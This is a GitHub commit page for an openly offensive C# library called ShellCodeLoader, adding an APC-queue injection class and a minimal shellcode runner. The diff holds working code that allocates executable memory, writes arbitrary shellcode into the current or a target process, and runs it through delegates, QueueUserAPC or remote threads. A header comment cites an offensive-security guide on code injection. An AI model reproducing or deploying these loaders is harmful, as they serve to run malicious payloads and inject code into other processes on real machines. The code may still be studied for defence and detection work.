Skip to content

Commit

Permalink
Third Update
Browse files Browse the repository at this point in the history
* Added QueueAPC locally
* Added Minimal ShellCodeLoader
* Code improvements
  • Loading branch information
arsium committed Dec 21, 2021
1 parent 3e2d70d commit c3c4ba0
Show file tree
Hide file tree
Showing 24 changed files with 332 additions and 25 deletions.
Binary file not shown.
1 change: 1 addition & 0 deletions ShellCodeLoader/MapView.cs
Original file line number Diff line number Diff line change
Expand Up @@ -45,6 +45,7 @@ private void NtMapView()
UInt64 localOffset = 0;
Imports.NtMapViewOfSection(hSectionHandle, Process.GetCurrentProcess().Handle, ref pLocalView, UIntPtr.Zero, UIntPtr.Zero, ref localOffset, ref RegionSize, Imports.VIEWUNMAP, 0, PageProtection.PAGE_READWRITE);


UInt64 remoteOffset = 0;
IntPtr pRemoteView = IntPtr.Zero;
Imports.NtMapViewOfSection(hSectionHandle, Target.Handle, ref pRemoteView, UIntPtr.Zero, UIntPtr.Zero, ref remoteOffset, ref RegionSize, Imports.VIEWUNMAP, 0, PageProtection.PAGE_EXECUTE_READ);
Expand Down
133 changes: 133 additions & 0 deletions ShellCodeLoader/QueueAPC.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,133 @@
using Microsoft.Win32.SafeHandles;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
using static ShellCodeLoader.Shared;
/*
|| AUTHOR Arsium ||
|| github : https://github.com/arsium ||
|| Please let this credit for all the time I worked on ||
|| Guide & Inspirations : https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection
*/
namespace ShellCodeLoader
{
public class QueueAPC : IDisposable
{

private byte[] ShellCode;
private uint RegionSize;
private Process Target;
private bool NewThread;

public QueueAPC(byte[] shellCode, bool newThread = false)
{
this.ShellCode = shellCode;
this.RegionSize = (uint)shellCode.Length;
this.Target = Process.GetCurrentProcess();
this.NewThread = newThread;
}
private unsafe void CallBackQueueUserAPC(void* param)
{
IntPtr ptr = Imports.VirtualAllocEx(Target.Handle, IntPtr.Zero, (IntPtr)ShellCode.Length, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, Shared.PageProtection.PAGE_EXECUTE_READWRITE);

UIntPtr writtenBytes;
Imports.WriteProcessMemory(Target.Handle, ptr, ShellCode, (UIntPtr)ShellCode.Length, out writtenBytes);

PageProtection flOld;
Imports.VirtualProtect(ptr, RegionSize, PageProtection.PAGE_EXECUTE_READWRITE, out flOld);

ShellCodeCaller s = (ShellCodeCaller)Marshal.GetDelegateForFunctionPointer(ptr, typeof(ShellCodeCaller));
s();
}

private unsafe void QueueUserAPC()
{
if (NewThread)
{
new Thread(() =>
{
//https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc
Imports.CallBack s = new Imports.CallBack(CallBackQueueUserAPC); //set our callback for APC (the callback is a classic shellcode loader

Imports.QueueUserAPC(s, Imports.GetCurrentThread(), IntPtr.Zero); //add apc to our thread

//Imports.SleepEx(0, true); //now we have to set an alertable for our thread : https://docs.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls
Imports.NtTestAlert(); //empty APC queue for the current thread

}).Start();
}
else
{
//https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc
Imports.CallBack s = new Imports.CallBack(CallBackQueueUserAPC); //set our callback for APC (the callback is a classic shellcode loader

Imports.QueueUserAPC(s, Imports.GetCurrentThread(), IntPtr.Zero); //add apc to our thread

//Imports.SleepEx(0, true); //now we have to set an alertable for our thread : https://docs.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls
Imports.NtTestAlert(); //empty APC queue for the current thread
}
}

public void LoadWithQueueAPC()
{
QueueUserAPC();
}

private static class Imports
{
internal const String KERNEL32 = "kernel32.dll";
internal const String NTDLL = "ntdll.dll";


public unsafe delegate void CallBack(void* param);
public delegate void ShellCodeCaller();


[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static unsafe extern uint QueueUserAPC(CallBack pFunction, IntPtr tHandle, IntPtr dwData);
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static unsafe extern uint SleepEx(uint dwMilliseconds, bool bAlertable);
[DllImport(NTDLL, SetLastError = true)]
public static extern uint NtTestAlert();


[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UIntPtr nSize, out UIntPtr lpNumberOfBytesWritten);

[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern IntPtr VirtualAllocEx(IntPtr procHandle, IntPtr address, IntPtr numBytes, Shared.TypeAlloc commitOrReserve, Shared.PageProtection pageProtectionMode);

[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, Shared.PageProtection flNewProtect, out Shared.PageProtection lpflOldProtect);
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern IntPtr GetCurrentThread();
}

private bool _disposed = false;

// Instantiate a SafeHandle instance.
private SafeHandle _safeHandle = new SafeFileHandle(IntPtr.Zero, true);

// Public implementation of Dispose pattern callable by consumers.
public void Dispose() => Dispose(true);

// Protected implementation of Dispose pattern.
protected virtual void Dispose(bool disposing)
{
if (_disposed)
{
return;
}

if (disposing)
{
// Dispose managed state (managed objects).
_safeHandle?.Dispose();
}

_disposed = true;
GC.SuppressFinalize(this);
}
}
}
14 changes: 9 additions & 5 deletions ShellCodeLoader/Shared.cs
Original file line number Diff line number Diff line change
@@ -1,15 +1,19 @@
using System;
using System.Runtime.InteropServices;
/*
|| AUTHOR Arsium ||
|| github : https://github.com/arsium ||
|| Please let this credit for all the time I worked on ||
*/
*/
namespace ShellCodeLoader
{
internal class Shared
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
internal delegate void ShellCodeCaller();

[Flags]
public enum TypeAlloc : uint
internal enum TypeAlloc : uint
{
MEM_COMMIT = 0x00001000,
MEM_RESERVE = 0x00002000,
Expand All @@ -22,7 +26,7 @@ public enum TypeAlloc : uint
}

[Flags]
public enum FreeType : uint
internal enum FreeType : uint
{
MEM_DECOMMIT = 0x00004000,
MEM_RELEASE = 0x00008000,
Expand All @@ -31,7 +35,7 @@ public enum FreeType : uint
}

[Flags]
public enum PageProtection : uint
internal enum PageProtection : uint
{
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
Expand All @@ -49,7 +53,7 @@ public enum PageProtection : uint
}

[Flags]
public enum AccessMask : uint
internal enum AccessMask : uint
{
GENERIC_READ = 0x80000000,
GENERIC_WRITE = 0x40000000,
Expand Down
23 changes: 14 additions & 9 deletions ShellCodeLoader/ShellCodeLoader.cs
Original file line number Diff line number Diff line change
Expand Up @@ -22,9 +22,6 @@ public class ShellCodeLoader : IDisposable
/// </summary>
public bool Asynchronous { get; set; }

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate void ShellCodeCaller();

public ShellCodeLoader(byte[] shellCode)
{
this.ShellCode = shellCode;
Expand Down Expand Up @@ -89,25 +86,33 @@ public void LoadWithKernel32Delegates()

private void NT()
{
Imports.NtAllocateVirtualMemory(Imports.GetCurrentProcess(), ref ptr, IntPtr.Zero, ref RegionSize, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, PageProtection.PAGE_EXECUTE_READWRITE);
Imports.NtAllocateVirtualMemory(Imports.GetCurrentProcess(), ref ptr, IntPtr.Zero, ref RegionSize, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, PageProtection.PAGE_EXECUTE_READWRITE);

UIntPtr bytesWritten;
Imports.NtWriteVirtualMemory(Imports.GetCurrentProcess(), ptr, ShellCode, (UIntPtr)ShellCode.Length, out bytesWritten);
Imports.NtWriteVirtualMemory(Imports.GetCurrentProcess(), ptr, ShellCode, (UIntPtr)ShellCode.Length, out bytesWritten);

PageProtection flOld = new PageProtection();
Imports.NtProtectVirtualMemory(Imports.GetCurrentProcess(), ref ptr, ref RegionSize, PageProtection.PAGE_EXECUTE_READ, ref flOld);
Imports.NtProtectVirtualMemory(Imports.GetCurrentProcess(), ref ptr, ref RegionSize, PageProtection.PAGE_EXECUTE_READ, ref flOld);

ShellCodeCaller load = (ShellCodeCaller)Marshal.GetDelegateForFunctionPointer(ptr, typeof(ShellCodeCaller));
load();

Imports.NtFreeVirtualMemory(Imports.GetCurrentProcess(), ref ptr, ref RegionSize, FreeType.MEM_RELEASE);
}

private void Kernel32()
{
this.ptr = Imports.VirtualAlloc(IntPtr.Zero, (IntPtr)ShellCode.Length, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, PageProtection.PAGE_EXECUTE_READWRITE);
this.ptr = Imports.VirtualAlloc(IntPtr.Zero, (IntPtr)ShellCode.Length, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, PageProtection.PAGE_EXECUTE_READWRITE);

UIntPtr writtenBytes;
Imports.WriteProcessMemory(Imports.GetCurrentProcess(), ptr, ShellCode, (UIntPtr)ShellCode.Length, out writtenBytes);
Imports.WriteProcessMemory(Imports.GetCurrentProcess(), ptr, ShellCode, (UIntPtr)ShellCode.Length, out writtenBytes);

PageProtection flOld;
Imports.VirtualProtect(ptr, RegionSize, PageProtection.PAGE_EXECUTE_READ, out flOld);
Imports.VirtualProtect(ptr, RegionSize, PageProtection.PAGE_EXECUTE_READ, out flOld);

ShellCodeCaller load = (ShellCodeCaller)Marshal.GetDelegateForFunctionPointer(ptr, typeof(ShellCodeCaller));
load();

Imports.VirtualFree(ptr, (uint)0, FreeType.MEM_RELEASE);
}

Expand Down
2 changes: 2 additions & 0 deletions ShellCodeLoader/ShellCodeLoader.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -56,10 +56,12 @@
</ItemGroup>
<ItemGroup>
<Compile Include="MapView.cs" />
<Compile Include="QueueAPC.cs" />
<Compile Include="Shared.cs" />
<Compile Include="ShellCodeLoader.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="ShellCodeLoaderEx.cs" />
<Compile Include="ShellCodeLoaderMinimalNativeAPI.cs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>
6 changes: 6 additions & 0 deletions ShellCodeLoader/ShellCodeLoaderEx.cs
Original file line number Diff line number Diff line change
Expand Up @@ -39,9 +39,12 @@ private void NT()
{
Imports.NtAllocateVirtualMemory(Target.Handle, ref ptr, IntPtr.Zero, ref RegionSize, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, PageProtection.PAGE_EXECUTE_READWRITE);
UIntPtr bytesWritten;

Imports.NtWriteVirtualMemory(Target.Handle, ptr, ShellCode, (UIntPtr)ShellCode.Length, out bytesWritten);

PageProtection flOld = new PageProtection();
Imports.NtProtectVirtualMemory(Target.Handle, ref ptr, ref RegionSize, PageProtection.PAGE_EXECUTE_READ, ref flOld);

IntPtr hThread = IntPtr.Zero;
Imports.NtCreateThreadEx(ref hThread, AccessMask.GENERIC_EXECUTE, IntPtr.Zero, Target.Handle, ptr, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
//
Expand All @@ -52,10 +55,13 @@ private void NT()
private void Kernel32()
{
this.ptr = Imports.VirtualAllocEx(Target.Handle, IntPtr.Zero, (IntPtr)ShellCode.Length, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, PageProtection.PAGE_EXECUTE_READWRITE);

UIntPtr writtenBytes;
Imports.WriteProcessMemory(Target.Handle, ptr, ShellCode, (UIntPtr)ShellCode.Length, out writtenBytes);

PageProtection flOld;
Imports.VirtualProtectEx(Target.Handle, ptr, RegionSize, PageProtection.PAGE_EXECUTE_READ, out flOld);

IntPtr hThread = Imports.CreateRemoteThread(Target.Handle, IntPtr.Zero, 0, ptr, IntPtr.Zero, Imports.ThreadCreationFlags.NORMAL, out hThread);
}

Expand Down
83 changes: 83 additions & 0 deletions ShellCodeLoader/ShellCodeLoaderMinimalNativeAPI.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
using Microsoft.Win32.SafeHandles;
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;
using static ShellCodeLoader.Shared;

namespace ShellCodeLoader
{
public class ShellCodeLoaderMinimalNativeAPI : IDisposable
{
private byte[] ShellCode;
private uint RegionSize;
/// <summary>
/// Default is false.
/// </summary>
public bool Asynchronous { get; set; }


public ShellCodeLoaderMinimalNativeAPI(byte[] shellCode)
{
this.ShellCode = shellCode;
this.RegionSize = (uint)shellCode.Length;
this.Asynchronous = false;
}

public void LoadWithMinimalAPI()
{
if (this.Asynchronous)
{
Task.Factory.StartNew(() => { MinimalAPI(); }, CancellationToken.None, TaskCreationOptions.None, TaskScheduler.Default);
}
else
{
MinimalAPI();
}
}
private unsafe void MinimalAPI()
{
fixed(void* ptr = &this.ShellCode[0])
{
PageProtection flOld;
Imports.VirtualProtect((IntPtr)ptr, RegionSize, Shared.PageProtection.PAGE_EXECUTE_READWRITE, out flOld);

ShellCodeCaller s = (ShellCodeCaller)Marshal.GetDelegateForFunctionPointer((IntPtr)ptr, typeof(ShellCodeCaller));
s();
}
}
internal static class Imports
{

internal const String KERNEL32 = "kernel32.dll";
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, Shared.PageProtection flNewProtect, out Shared.PageProtection lpflOldProtect);
}

private bool _disposed = false;

// Instantiate a SafeHandle instance.
private SafeHandle _safeHandle = new SafeFileHandle(IntPtr.Zero, true);

// Public implementation of Dispose pattern callable by consumers.
public void Dispose() => Dispose(true);

// Protected implementation of Dispose pattern.
protected virtual void Dispose(bool disposing)
{
if (_disposed)
{
return;
}

if (disposing)
{
// Dispose managed state (managed objects).
_safeHandle?.Dispose();
}

_disposed = true;
GC.SuppressFinalize(this);
}
}
}
Binary file not shown.
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -1 +1 @@
b025bf862b326d406604d35fe513ad97e74800ce
d13612e3ee84b59d0abdaff95468991f181618fb
Binary file modified ShellCodeLoader/obj/Release/ShellCodeLoader.dll
Binary file not shown.
Loading

0 comments on commit c3c4ba0

Please sign in to comment.